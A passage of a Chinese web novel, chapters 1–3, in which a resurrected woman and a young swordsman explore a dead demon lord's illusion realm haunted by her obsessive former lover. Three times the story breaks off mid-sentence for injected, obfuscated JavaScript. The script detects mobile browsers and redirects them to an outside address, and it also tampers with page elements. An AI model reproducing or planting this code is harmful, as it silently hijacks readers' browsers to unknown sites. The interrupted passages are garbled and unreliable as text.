《被阴湿鬼前夫缠上后》 1. 第 1 章 “喂,醒醒……”有人在黑暗中呼唤她。 “快醒醒……”那人又威胁般地说,“这里很危险,再不醒来我就走了……” 话是这样说,但之后的很长一段时间,连音还是能够感觉到轻微的摇晃感。 “快醒过来……” 此人真是口嫌体正直,又吵得很。 连音从漫长的黑暗里睁开眼。 层层叠叠的红纱垂落眼前,像是婚房,少年如玉的脸庞映着耀眼的烛光,逐渐清晰…… 这是一张完全陌生的脸,只不过表情臭得有些厉害,此刻正拿着把剑架在她脖子上。 连音:“……” 他还不如走了呢。 “终于醒了。”少年松了一口气,对上她尚处于茫然的眼神,冷着脸甩出一串质问,“你姓甚名谁?家住哪里?又为何出现在这此……” “等等!”连音脑袋有些疼,倒也不是少年声音难听,就是突然一下子太吵。 “你自己的事情还要等吗?”少年似乎不耐烦地把剑压近了些,威胁道,“快说!” 冰凉的剑刃贴上颈侧肌肤,连音立马回答道,“我叫连音!中州人氏……” 她边说边环顾这个挂满红纱,摆满烛台的诡异房间,神情怯怯,“你问我为什么出现在这里,我也不知道啊,我一醒来就看到你了。” “误入吗?”少年喃喃了声,上下打量了她一眼,见也不像坏人的样子,便干脆收了剑,冷声道,“这里是一处魔修陨落后形成的秘境,凶险万分,你要还想活命,就跟紧我。” 连音见少年要走,纵使心中有许多久疑惑,也只能先起身跟上。 “你说这是秘境,这里还有其他人吗?” “不知道,可能都死了。”少年走得很快。 质地轻薄的红纱被行路间的风带起,一小片漆黑的阴影自他身上投落,碎成好几段,躺在漂浮的红纱上,影影幢幢。 “这么危险?那你有把握出去吗?” “把握没有,但比你厉害是肯定的,否则就你进了秘境还在睡的窝囊样,没死都是秘境之主心太善了。” 死…… 连音脚步忽然慢了下来,她想起来了—— 她应该已经死了才对,死在了那场天罚当中。还有那个人…… 连音环顾四周,诺大的房间,掀动的红纱,晃动的红烛,除此之外,还有她睡醒的床,有没有其他人真的一眼分明。 他不在。 这个认知让连音刚刚提起的心慢慢回落。 她跟着少年走出了房间。 一片强烈的白光占据了视野,在看清门外的景象时,连音愣了一下,似曾相识的感觉冲上心头。 那是一个庭院,花树围绕着凉亭,边上有木质的秋千架,还有刻着棋盘的石桌…… 纵使已经许多年没有见到,但毕竟是小时候生活的地方,连音还是很快想起来了。 这里是她的家。 在这个认知冒出来的下一秒,天空下起来了细细的小雪。 冰凉的雪花散落在连音的乌黑长发里,她微微扬起头,眯眼看着天上那轮苍白得毫无温度的太阳。辨认出,这里是幻境。 “活到这个境界的人总会想着要在死后留下什么,让别人看看自己的生平,也不知道有什么意思。”少年的语调略带讥讽,视线掠过周围。 最先出现的是一对母女,她们正坐在庭院中对弈。 “走吧,去亭中看看。”少年说完,长腿一迈,也没管连音有没有跟来,直接走到凉亭中。 执白棋的女孩莫约七八岁,年纪很小,梳着简单的垂发,穿着水蓝色的衣裙,纵使脚够不住地面,但依然坐得很乖巧。 对面的女子面容模糊,但依稀能看出眉目是漂亮的,从她身上穿戴的服饰可以判断出这是一个身居高位的人。 连音沉默地站在一旁。 她没想到会以幻境的形式,再次见到自己的童年。 画面像是场无声的默剧,随着母女二人的对弈,周围时间变化。 她看了一阵后,转头望向庭院大门的方向。 一个身形高大的男子恰在此时走了进来,依旧是看不清脸,但能看出他很高兴,他手里牵着一个男孩。 男孩浑身都脏兮兮的,穿着打扮和画面里的其他三人格格不入,他是外来者的身份。 正在下棋的母女二人停下动作,小女孩转过头,好奇地打量着男孩。 连音也沉默地望着男孩,仿佛与“他”对上视线般,零落的回忆纷至沓来。 记得那天,是一个难得的好天气。 晴阳照雪,庭院飞花。 他垂落的长睫上都沾染了日光的暖意,可看过的那一眼却毫无温度,宛如一片化不开的坚冰。 在她感到害怕,准备移开视线的下一秒,男孩忽然笑起来,一改之前的冷漠态度,喊了她的名字。 “音音。” 思及少年还在身边,以及他那喜欢拿剑威胁人的架势,连音觉得自己有必要阻止幻境继续下去。 连音扭头,正打算寻找破局之法,眼前景象却骤然大变,她仍旧站着,所在之处成了一个热闹的学堂。 连音微微一愣。 “幻境瞬息万变,除了秘境之主没人知道下一秒会发生什么,他也只会给别人看自己想让人看到的。”少年视线扫过这新的一幕的场景,像是特地解释给她听的,淡淡说道,“破局之法就藏在这瞬息万变的故事中,通常来说会是一件物品。” 连音随着他的话,看向周围,很快找到了自己,但这一次她的脸也成了模糊不清的路人。 女孩说:“这个故事你不可以告诉别人。” 男孩低头折着手中的纸,说:“嗯,我不会和别人说的,我甚至希望……可以只有我一个人知道。” 连音相信这一幕的出现绝非偶然,像是知晓了她的担忧般,秘境之主特地抹除了她身为故事中人的身份,告诉她—— 他会替她隐藏,他会替她保密。 连音只想冷笑。 明明是他先安排的这处幻境,故意暴露给别人让她紧张,再给她看这一幕…… 连音并不会为这样的体贴与了解感到高兴,她只会觉得被掌控的恶心,以及被玩弄的愤怒。 他把她复活了。 他现在是不是又在暗处,监控着她的一举一动? 陆影。 当这个自醒来一直都在刻意回避的名字浮现脑海时,连音的情绪瞬间失控,她呼吸开始急促,胸口泛上恶心的感觉…… 她死死盯着那个低头安静折着纸鹤的男孩,不禁想,如果故事能从这里结束就好了,那后面的一切都不会发生了…… 连音脚步微动,忽然有人隔着衣袖拉住她的手腕。少年的声音清晰传来:“你看墙上的字画……” 下一秒,少年的脸陡然在面前放大,连音忍不住后退了一下,“你干什么?!” 少年皱眉说:“是你神情突然很难看,怎么了?被精神攻击了?哪里让你不舒服你告诉我啊,这可能是出去的线索。” 连音:“……” 她确实被精神攻击,但是他们说的应该不是一个东西。 少年皱眉问:“怎么不说话?” 连音不想和人倾诉自己的故事,但见少年一副非要刨根问底的模样,只能说道,“是我自己的问题,和秘境没关系,你继续说你发现了什么吧。” 少年问:“很不舒服吗?” 连音摇头道:“已经好多了。” 被他这么一打断,她就从那种被魇住的状态里出来了。 少年闻言,才继续说起自己的发现。 “你看墙上,我小时候的学堂会挂劝学的诗句,但是不会挂这么多,我刚才觉得奇怪,仔细看了看,发现里面混杂着几幅奇怪的画像,应该是出去的线索。” 少年边说边将那几幅他觉得奇怪的画指给连音看。 连音努力压下那些不好的情绪,聚精会神去看他所说的那几幅画。 有在那个庭院的,他们一起荡秋千,他们一起练剑……有在房间里,她收到千纸鹤,他们躺在一张床上的…… 女孩与男孩分享她的玩具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834870|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、食物、书本。 一幕幕,一张张,仿佛只为了记录两人青梅竹马的日常。画中的女孩脸上永远带着恬静的浅笑,温柔美好。 连音看着这些挂画,明明脑海能清晰回忆起那些过去,可却怎么也代入不进去,像是旁观者。 “要怎么做?”连音问道,“这些画要怎么处理?” 少年说:“先取下来吧。” 两人分头行动,不多时便将学堂里奇怪的画全部取了下来。 少年将画堆在一起,道:“我不知道毁了这些画会发生什么,可能会被攻击,也可能会离开。” 连音无所谓,反正她已经死过一次了,就是谢随……他真的可以活着离开这里吗? “攻击会反噬给毁画的人吗?那我来吧。”连音随手拿起一张画,问,“怎么毁?用剑砍碎吗?” 少年沉默了一下,说,“用火,我来就好。” 连音目前是一个两手空空的状态,她的储物袋早就在第一次自杀时被陆影收走了,之后他一直没有还给过她。 少年坚持,她也没必要争。 连音垂眸,将手中的画丢下,说:“那就赶紧烧吧。” 火符落下,堆叠成一摞的挂画燃起火焰,他们身处的学堂也燃起了大火。 呛鼻的浓烟,仿佛要将人融化的高温。 学堂内的孩童们见到突然燃起的大火,纷纷惊叫着站起身,四处逃窜,但周围已经被大火全部包围,靠近火势边缘的孩童被火势波及,发出痛苦的尖叫,哭喊不止。 “好疼啊!救命!谁来救救我!呜呜……救救我!” 随着火势扩大,孩童的哭喊声与求救声越来越凄厉,他们幼小的身躯被压在火下,发出烧焦的气味,模糊的面容被橙红色的火焰包裹,朝他们伸出唯一嫰白的小手。 骨头爆裂的声响传来。 少年低声咒骂了一句什么,有些无语:“这秘境之主有什么恶趣味吗?” 这确实是恶趣味,或者说,纯粹的恶意。 他不喜欢直接了当的杀人,他喜欢看别人痛苦,挣扎…… 他是恶意的化身,喜欢玩弄人心,把别人耍得团团。 “你也说这秘境之主是魔修了,很正常吧。”连音看着眼前这残酷的一幕,心境是不起波澜的平静。 她视线再次看向先前说话的那对小孩。女孩被男孩护在身边,努力地跟周围说着什么,她让大家捂住口鼻,不要乱跑,但很少有小孩会将她的话听进去。 连音并不习惯成为这个站出来说话的角色,她不喜欢当救世主。 也许是穿越的原因,小时候她总是觉得自己比身边的同龄人大那么十岁,她总会下意识地去照顾大家。她确实会站出来,那时候她会觉得保护比自己小的孩子是一种责任。 但现在她完全没有这种想法,她没有任何想法,像是一具空壳木偶,重复对陆影产生憎恨痛苦的情绪…… 对比从前,她现在一定十分的麻木无趣。 连音问道:“你为什么要来秘境?” 少年直白地说:“家族的命令呗,听说这里有神器,就非要派人来一趟,看看才安心。” 利益,权力。 连音对大家抢来抢去的神器不感兴趣。 少年的答案并不能成为她的答案。 少年见连音问完一句话后又没声了,反问道,“你呢?问完我的,你也该说说你吧?” 连音也直白道:“我答不上来。” 少年压了下眉毛,像是不理解:“怎么会答不上来呢?” 连音确实答不上来,于是她转移了话题,“周围还在烧大火呢,如果幻境是要我们帮忙救人怎么办?” “不会。”少年肯定地说,“救人不符合秘境之主的作风。” 猜得还真准,一次两次都猜对了。 连音转头仔细地打量着少年,有些意外脑回路能和陆影这么对上的人,竟然是一个好人吗? 察觉到她看来的视线,少年转眸看向她:“怎么了?” 连音说:“没什么,就是忽然好奇你叫什么了。” 2. 第 2 章 “谢随,我叫谢随。” 少年答完,很快又道,“连音,准备走了。” 话语的力量很微弱,越来越多的同伴在面前被烧死,女孩站在原地神情很无措。 男孩冷静握住她的手,说:“……我会带你出去的。” “可是,我们要怎么走呢?” 几乎在女孩话音刚落下的瞬间,谢随出剑,替他们劈开了前方阻拦的大火。 遍布大火的建筑轰然倒塌,碎落的星火与木屑在空中飞舞。 女孩因为这突然的变故发出一声惊呼,紧紧地挨在男孩身侧。 两个小孩从那一剑破开的缺口走了出去。 “走了。” 他们跟在两个小孩身后走了出去。 燃火的学堂外是无垠的黑暗,两个小孩依偎在一起,走在前面,时不时传来两声低低的啜泣,最后消失于无。 就在连音以为要进到下一幕时,转眼间,她又站在了长廊上。 天色是阴沉沉的晦暗,连音对这个场景没什么印象,她转过头,看到了身后还没关上门的,挂满红纱的房间。 “我们出来了?” “嗯。”谢随的神色并没有放松多少,“还在秘境中,可能下一脚又踩进去了。” 他迈开步伐说,“往前走,我是从后面过来的。” 连音点点头,其实心中对能出去一事并不抱期望,只是有些惋惜谢随可能会死。 “你不是一个人来的吧?你的其他同伴呢?” “不知道,可能死了吧。”谢随问,“我是不是回答过这个问题?” 连音说:“好像是,你怎么都不去救他们,反倒救了我?” 谢随说:“看到就顺手救了,秘境会把人分开,你要是和我分散了我也不会找你的,你最好跟紧我。” 路过了顺手就救,他人还怪好的。 连音打算给他一点提示:“你知道落魂魔尊吗?你确定这个秘境里有神器,而不是他放出来的什么陷阱?我听说他最喜欢散布这些……” “落魂魔尊都死了三百多年了,死得干干净净,秘境都留不下来一个,还散布消息呢?”谢随轻嗤了声,不以为然道,“你说你是中洲人,未免消息也太落后了吧 ?” 连音从他第一句话出来就有些愣,死得干干净净是什么意思?谢随为什么这么笃定? 可是明明这个秘境,那个挂满红纱的房间,那些画,明显就是他的手笔,他的意志在作怪啊! 连音问道:“你确定他死了吗?” 谢随有些奇怪她的问题,但还是耐心地说道:“人都死了三百多年了,他以杀入道,自成名起就一直在挑起五域纷争,制造灾祸,倘若他没陨落,如今的五域也不可能这么相安无事了,肯定是死透了啊。” 连音再次追问:“怎么死的?” “天罚啊,魔修能有什么好下场。”谢随说,“你看那些个修魔的,但凡最大恶极的是不是最后都被天罚制裁了。” “不过他也确实是个修魔的天才,短短二十年不到便成为了尊者,这速度今后也不可能再有人超越了,可惜……” 余下的话连音听不清了,像是隔着层朦胧的雾,远远地飘在耳边。 原来他也消散在了那场天罚中…… 连音抬起双手,浑身骨头被天罚粉碎的痛苦很剧烈,但也很短暂,只有一瞬……她确信自己当时是死了的,但现在这具身体却一点伤痕都看不出来。 假如陆影那个时候就死了,那她又是怎么回事?谁救了她? 连音忽然觉得自己有些好笑。 她一边恨着陆影,否认他的爱,一边又相信只有他愿意为自己做这些事。 除了陆影,她想不到别人了。 她的父母很早就死了。 世界上除了他们,没有人会记得她了,愿意为她付出这么多了…… 走在的前面的谢随忽然回过身,看着有些恍神的少女。 一秒,两秒……她就这么继续往前,直直地撞到了他的怀中。 连音脑袋碰到少年的胸膛,下意识要后退,却被抓住肩膀。 “你干什么?”谢随抢了她的台词。 连音抬起头,看着少年那张有些过近的容颜,干巴巴地反问,“你干什么?突然停下来。” 谢随:“?” 谢随蹙眉:“你怎么好意思问我干什么?是你走着走着突然没声了,回头一看魂都像被人勾走了,我当然要看看我救出来的人怎么了。” 连音:“……” 谢随见她不答,忽然微勾了一下嘴角,轻声问道,“怎么了,他死了,你很难过吗?” 连音连忙道:“没有!他死了大快人心!” “是吗?”谢随微微俯身,手指抬起,轻轻在她眼角点了点,说,“眼眶红了。” 连音眨了眨眼睛说:“那是高兴的,因为他害死了我父……我的亲人,祖上的。” 还挺严谨。 谢随笑了声,放开她,正色道:“好了,太高兴了也别忘了现在在哪里,这里可是很危险的。” 说着,他推开了旁边房间的大门。 连音有些迟疑:“每个房间都要进去吗?会不会很危险?” 谢随走进房内:“不都看看怎么知道神器藏在哪里?” 对了,他要找神器。 如果只是普通的探索秘境,可以忽略很多危险的地方,但如果要寻找神器,那就要把那些危险的地方都去一遍。 谢随一踏入房间,目光似乎就被正对着门口的巨大的挂画吸引,站在原地。 连音跟着走进屋内,也看到了那幅画。 画面莫约占据半面墙那么大,周围的红烛并不能照出画的全貌,只能隐约辨别出画得是一个少年,他手持长剑,微侧着身体,高高束起的马尾垂落。 人物后面的背景颜色很淡,寥寥几笔,隐约勾勒出一个少女正站在人群里笑看着他,手的动作像是在为他加油打气。 没有光照到的画面上半部分显得有些阴森,两边垂落的轻纱颜色成了鲜血干涸后的暗红,遮住了画面的左右,为画中人蒙上一层神秘的面纱。 只不过这层神秘仅仅是对他人而言。 连音一看见画,脑海就自动浮现了与它有关的记忆。 那是天榜新秀大会时期,陆影第一次参加就夺得了榜首。 记得登上新秀第一的那场,少年以绝对的实力差,将第二名的脑袋踩在了脚底下。 是真的脚底下。 当时评委席的大修有好几个都当场变了脸色。 被踩在脚底下的第二名也涨红了脸,听说事后道心还破碎了,修为倒退了两个境界。 回去后,陆影受罚。 很多人斥责他性子太邪,太恶劣。 也有很多人为他说话,说他张弛有度,真性情。 人们对他的评价总是两极分化的,很多时候他耀眼的优点会掩盖住致命的缺点。 谢随走上前,仔细检查了这幅画,依旧是没有画脸。 “这个秘境之主还真是神秘,这么害怕人发现他的身份吗?”谢随边说边伸手将画像掀开…… 连音几乎是看着那张画像一点点动起来的,他举起剑,剑尖从画布延伸到画外,狠狠刺向底下毫无所觉的谢随—— “小心!” 话音落下的同时,谢随也敏锐捕捉到空气中一丝划破的声响,他迅速抬起头。 剑刃相碰撞,发出刺耳的震鸣声。 谢随看清了袭击者的样貌,是画像上的少年,此刻他拥有了一对血红色的眼睛,嘴角咧开一道漆黑的口子,露出满含恶意的微笑。 连音看着谢随与诡异的少年展开了打斗,当即拿起边上的烛台,刚想迈步,身体忽然缠上一道阴寒如冰的气息。 “音音。” 像是没有实体的幽灵,冰冷地环抱住她,亲昵地蹭着她的脖颈,同她撒娇,“终于见到你了……音音,我好想你,好喜欢你……陪我一起留在这里吧……” 连音僵了一下,转过身,手中烛台照亮了藏在背后的画像,少年下半身依旧在着画里,爬出画纸的上半身如幽灵般若隐若现,脸蛋依旧漂亮如往昔,不见丝毫恶鬼的狰狞。 连音静了片刻,努力忽略那怦怦狂跳的心跳,问道:“陆影,你死了吗?” 少年搂住她的脖颈,温柔地在她脸颊落下一吻,“音音希望我死了吗?” 语调如同包裹着蜜糖般,黏腻而甜蜜。 连音轻轻垂下眸,点燃的火光散落在她的脸颊上,映照着她的神情有些晦暗。 没有得到回应的少年垂下眼,像是一只受了委屈的小狗狗,他没有去看自己被点燃的身体,依旧恋恋不舍地抱着连音,努力地爬出画卷,与少女贴得更近。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834871|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “音音,我喜欢你,喜欢你,喜欢你……” 他的呢喃声在火光中消失了。 连音看着面前被烧毁的画卷,呼吸急促,全身都是冷汗。若不是墙壁上还留有烧焦的丑陋痕迹,她都要觉得刚才爬出画卷拥抱自己的少年只是错觉。 拜托了,死了就不要再缠着她了吧。 耳畔传来打斗声。 连音回过神,想起另一边还在与画像缠斗的谢随,她转过身,将手中烛台用力扔向那幅巨大的挂画。 画面的一角被点燃,拿剑的少年动作一顿,转头看向连音。他的双眸褪去血光,望着她,旁边的红纱垂落在他黑白分明的漂亮眼睛前,朦朦胧胧,像是在哭。 少年没有说话,但他露出了和刚才一样的难过表情,垂着眼睛,像只委屈的小狗。 她帮别人杀了他,他会难过。 仅此而已。 连音没有看他,她担心被谢随发现自己和这处秘境有关联,到时候情况会很麻烦……难得能说话的人就没了。 “没想到这里的恶灵这么棘手。”谢随在画像少年消失之后,问道,“你刚才有没有事?” 连音说:“我没事,我在它袭击你后,就立马烧毁了周围的画,它们还没来得及攻击我。” 谢随刚才根本没有办法分心去看连音的情况,也没有怀疑什么,“我刚才在画后面发现了暗道。” 他略微沉吟了片刻,说:“我的决策不一定对。” 连音说,“你不会是因为刚才和恶灵打了平手,所以突然不自信了吧?” 谢随脸色微变,扭头道:“才没有,是不想你死了怪我。” 连音体贴地说:“没有你救我,我不是在刚刚那个房间里就死了吗?” 谢随嘴唇微动,脸色好转了一些,但没接话,而是打开储物袋给了她一把符。 “自己也会用吧?” 连音接过谢随塞过来的符,想想他开始还拿剑架着自己呢,有点警惕,但不多。 也不知道她跟着他是帮了他还是害她。 连音将这叠符放好,觉得自己应该帮他一下的,毕竟收了人家东西,还是尽量帮帮他吧。 谢随能离开最好。 他们一前一后走进暗道。 连音打探道:“刚才的画是怎么回事?” 谢随说:“应该是境灵,也是秘境之主的意志,不过魔修的境灵一般都叫恶灵。” 通常境灵都比较温和,他们会放修士离开,或者会提个心愿要求修士完成后离开,但魔修的恶灵却不会有什么心愿,他们只喜欢杀人。 谢随想到这个,微微皱了一下眉,接着说道: “这个秘境之主应该是将自己的意志切割成了很多份,如果他不主动放我们离开,我们就只能杀死所有恶灵,毁掉这个秘境了,会很麻烦。” 毁掉这个秘境。 修士陨落之后形成的秘境就是他最后留在世界上的东西了,里面有他毕生的传承法宝,有他的记忆情感。 前者是大家关注争抢的东西,后者在死后不值一提。 陆影的状态确实很奇怪…… 如果他能够大大方方出来,他应该不会这么见她,也不会让谢随在她身边待这么久。 他确实死了…… 连音对这个结论有些不确定,她不愿意相信那个嚣张了一辈子的人,最后竟然死得比自己早。 毁掉秘境,就等于销毁陆影留存在世界上的最后痕迹…… 连音觉得自己应该高兴的,高兴自己终于有机会彻底摆脱这个噩梦了。可安静下来,刚才他在耳边轻声呢喃的“我喜欢你”又如潮水般,冲刷上来。 偏偏周围是一片黑暗,漆黑得连音几乎无法分辨自己是睁眼了还是闭眼。她不断往前走。 脑海无可抑制地冒出许许多多画面。 鲜艳到刺目的红色。 陆影很喜欢鲜血的颜色,他喜欢把宫殿布置得像婚房。 影影幢幢的红纱拂动。 少年喜欢用细细的锁链将她囚在床上,然后自己躺在她身侧,抱着她,一遍遍地对她说,“我喜欢你。” 他会用那冰凉的唇一寸寸印过她的每一片肌肤。 “音音,我每天说这么多遍喜欢你,你就算不相信我,也应该听烦了吧。” “这样以后你听到这几个字,就会想起我。” 3. 第 3 章 前方的黑暗忽然散开,连音怔了一下,随后看见谢随逆着光的身影。 原来是暗道走到尽头了。 连音走出暗道。 周围像是刚下过雨,还飘着层白茫茫的雾。目之所及是一片污浊不堪的小路,路边的小草混着小花像是被什么东西狠狠践踏过一般,只留下扁扁的,零碎的残骸。 “又进幻境了?” “看来是。” 白茫茫的大雾,视野的能见度很低,仿佛只要稍微走快点,同行之人就会走散。 谢随似乎也想到了这点,脚步放缓,一直与连音保持着不远不近的距离。 他们一路往前,脚步声在空旷中寂寂作响。 不多时,他们面前出现了一条小溪,溪水氤氲着一缕缕浅淡的红色。 连音的目光很快被躺在溪里的少年吸引。 他皮肤苍白得近乎透明,乌墨般的长发在水中犹如化不开的海藻,不断有红色丝线从他周身流出,弥漫成淡淡的水红。他闭着眼睛,一动不动,像一具美丽的尸体。 他死了吗? 在这个猜测浮现的下一秒,少年睁开了眼睛,他视线虚焦着,漫无目的地看了会天空,然后坐起身,肌肤上的裂口随着他的动作快速愈合。 他站起身,朝小溪的另一侧走去。 谢随当即想跟上,染红的溪水却在此刻觉醒了自我意识般,从溪里涌上来,缠住他。 水流是斩不断的,它们看似柔和,却又暗藏杀意。谢随能做的只有让这些红色的水流不靠近自己。 谢随转头看向身后的连音,“你去绕开这些水,跟上秘境之主。” 说话间,又一节水流被斩断。 “好。”连音答应了一声,很快淌过溪水,追到了岸的另一侧。 这是一片透不进光的密林,连音单薄的身影走在里面,影子被拉得很长。 少年一直走在她前面,没有回头,但偶尔连音走得慢了,他还会停下来等一会儿。 境灵都会继承原主的记忆,连音也想和陆影单独沟通一下,知道天罚那天究竟发生了什么。 估计走出一段距离后,连音问道:“陆影,你要带我去哪里?” 她的声音在空旷的林间回荡。 但少年却没有回答,依旧向前走着。 连音只能跟着他,穿过阴森森的密林。 在视野内照进第一束光亮时,孤身一人的少年被人抱住。 突然闯入的少女很快松开怀抱,上上下下地打量他,眉宇间神色担忧。 “你怎么去了这么久——” 话未说完,少年便身体一晃,重新倒回了她的怀中。 少女手忙脚乱地接住他,随后闻到了他身上淡淡的血腥味,微微皱起了眉,“你受伤了吗?” “嗯,刚才遇到了一伙魔修。”少年抱着她,轻轻将脑袋靠在她肩膀上,语调是可怜兮兮的柔弱,“他们想要杀我,所以我就绕远路将他们甩开了。” 一小缕明月的清辉落在少年苍白漂亮的脸上,他嘴角勾起一抹笑,转瞬即逝。 连音忍不住骂了一句,“装货。” 然而面前只是幻境,并不会被她的话影响。 她只能看着少年一步步得逞。 连音想到接下来的发展,瞬间呼吸有些不畅,想要转身离去,但脚步却很沉,她被定在了原地。 意识到这点的同时,胸腔中传来急促的心跳,皮肤开始变烫,像是共感般,一下子将她拉回了那个夜晚。 “陆影,你现在已经不是小时候了,以后不可以这样随便抱着别人睡觉的……”她被抱在怀中,身体呈现出一动不动的僵硬,但大脑还在努力地组织语言,“如果你以后有了别的,抱着睡觉的对象,我们要保持距离,你不可以杀我灭口,我会对今天的事情……” 他们是青梅竹马,十多年过去了都没有生分,这是很难得的感情。陆影可能喜欢她,但连音总觉得陆影像是会是为了讨人欢心就滥杀的暴君。 喜欢了捧在心上,不喜欢了就弃之如敝履。 陆影很危险。 连音对目前的生活很满意,她只想努力将他们的关系维持原样。 炙热的呼吸一点点凑近…… 在某一个瞬间,她忽然发现少年离得很近。她甚至能感受到自己说话的气音清晰地掠过他的嘴唇,这明明是眼睛感受不到的事情,但她就是确信碰到了。 于是她停住话。 在这个仿佛稍微一动就能接吻的距离里,陆影轻笑了一下,问:“还有吗?” 见她不讲话,陆影又道:“音音,我只喜欢抱着你睡觉,抱了你,我以后就不会抱别人的,以前也没有。” 连音微怔,情绪还没从他那番像是告白的话里抽离,随即察觉到紧拥的怀抱中有什么变量,红着脸开始挣扎,“你……” “原来你害怕这个。”陆影喃喃道,“那只要我没有这个就可以抱你了吗……” “不是!”连音连忙不动了,生怕他做什么,“你别这么想,你这个是……” 陆影问:“那你喜欢吗?” “……” 连音不知道如何回答,其实她很讨厌别人说这种话题的。 也是在这一秒,连音忽然意识到自己是喜欢陆影的,她只是太害怕了。 害怕关系变质后,发现不合适…… 害怕不合适了,还不能分手…… 害怕提了分手,会被他杀掉…… 她害怕一切。 连音并不认为他们会在一起一辈子。 时间似乎过去了很久,又好像只是短暂的一息,但她不能再这样沉默下去了。 连音:“你可以别和我讨论这个话题——” 忽然,一个轻浅的吻落在她唇上。 他们接吻了,在那天。 “从那天之后,音音就一直在躲我了……躲了有两个月吧?” 微微叹息的声音从背后响起。 连音瞬时转过身,映入少年漆黑若琉璃的眼睛里,他望着她,唇边微微挂着笑意。 “在找我吗?” 明知故问。 连音看着他,他的身体不再是刚才画里出来的幽灵模样,而是很正常的,像活人一样。 “是在想我死没死吗?”陆影笑着说,“要不要上手摸一摸?” 连音没说话,她直接点燃了一张符贴到少年的身上,燃烧到一半的黄符在触碰到少年身体时,静止不动了。 连音平静地说出答案:“你是境灵。” 境灵微笑着说:“没区别的,我们依旧可以在秘境里厮守一生……直到我消亡为止。” 连音嘲道:“活着都不可能的事情,你觉得死了就可以吗?” 境灵脸上的笑容依旧纹丝不动地挂着:“不可以吗?” 连音:“……” 像是一瞬间,突然感受到了境灵和活人的差别,她陷入了短暂的沉默。 连音直接问道:“天罚是怎么回事?陆影是怎么死的?” 境灵没有回答,像是逃避话题般,他突然眨了眨眼睛说道:“哎呀,有人要过来了,你不想别人看到我们吧?正好我也想多玩一会,音音我们下次再聊好不好?我会再来找你的。” 下次再聊?他才出现一小会儿吧? 连音刚想阻止,耳畔忽然传来一阵摇晃的铃音,她稍一愣神,面前的境灵已经消失不见。 “那下次见,很快的……” “……姑娘,你没事吧?” 两道声音交叠响起,后者逐渐盖过前者…… “还没回来吗?” 女修略带担忧的面容映入眼帘,她穿着青白色的衣裙,乌黑浓密的长发披于双肩,漂亮的脸上未着粉黛,注视而来的眼波很温柔,给人一种似曾相识的亲切之感。 连音下意识问道,“我们是不是哪里见过?” 女修习以为常地笑了笑:“姑娘是中洲来的吧?我是九宵派的沈清乐,入门比较久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834872|175624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,可能我们在哪场大会上见过。” 连音恍然:“原来是沈师姐……” 其实她根本没印象。 觉得眼熟应该也是错觉吧。 连音马上又给自己编造了一个名不经传的散修身份,以免人家不认识自己会尴尬。 两人互换姓名后,话题也自然而然地多了起来。 连音从沈清乐口中得知她们现在身处的这片秘境位于西洲。 沈清乐之出现在这是为了帮助谢家取得秘境神器……不过目前神器没发现,她还和谢家修士走散了。 说到走散,连音立刻问道,“沈师姐,刚才和我一起的还有一个少年,他也是谢家修士,你有看到他吗?” 沈清乐摇头,“我来的时候只看见你一个人,你一直往前走明显是深陷幻境的状态,就连忙把你唤回来了。” 沈清乐轻叹了口气,“只要深陷幻境,身体便会无法自控,很多谢家修士就是这么走散的……” 连音有些心神不宁。 刚才境灵说他还想多玩一会儿,眼下没有出现在这里应该是去对付其他人了,是去对付谢随了吗? 连音打算折返回去找谢随。 沈清乐听了她这个打算,有些诧异,“你们是进秘境才认识的吧,这才多长时间呀,你很担心他吗?” 很担心吗?也没有吧? 他们只是共同经历了一些事情,讲过一些话…… 连音说:“认识的人有危险了,想去救一救他,不是很正常吗?” 沈清乐说:“这就是担心啊,为什么要解释呢?担心朋友不是很正常的事情吗?” 连音想反驳,还不算朋友。 但这样反驳就更奇怪了。 连音没有继续和沈清乐探讨这个问题,只是转身说:“我先去找他了……” 沈清乐拉住她,笑着跟上说:“我和你一起去吧,这里这么危险,路上有个照应也会安全些。” 沈清乐很健谈,路上一直在主动讲话,先前拉住连音的那只手不仅没有松开,还在走上前后很自然地挽住了她。 连音与谢随的站位是一前一后的,但女孩子之间似乎没有这条明显的边界线。 连音觉得有点别扭,但也还没有到接受不了的地步。 就像沈清乐刚才说的,这是很正常的事情。 大家都是女孩子,女孩子这样一起走很正常,应该只是她太久没和别人接触了。 连音刚说服自己要适应这件事,下一秒沈清乐就问道,“对了小连,我们现在也是朋友了,如果师姐有危险了,小连也会来救我吗?” 连音下意识顺着她的话点了点头。 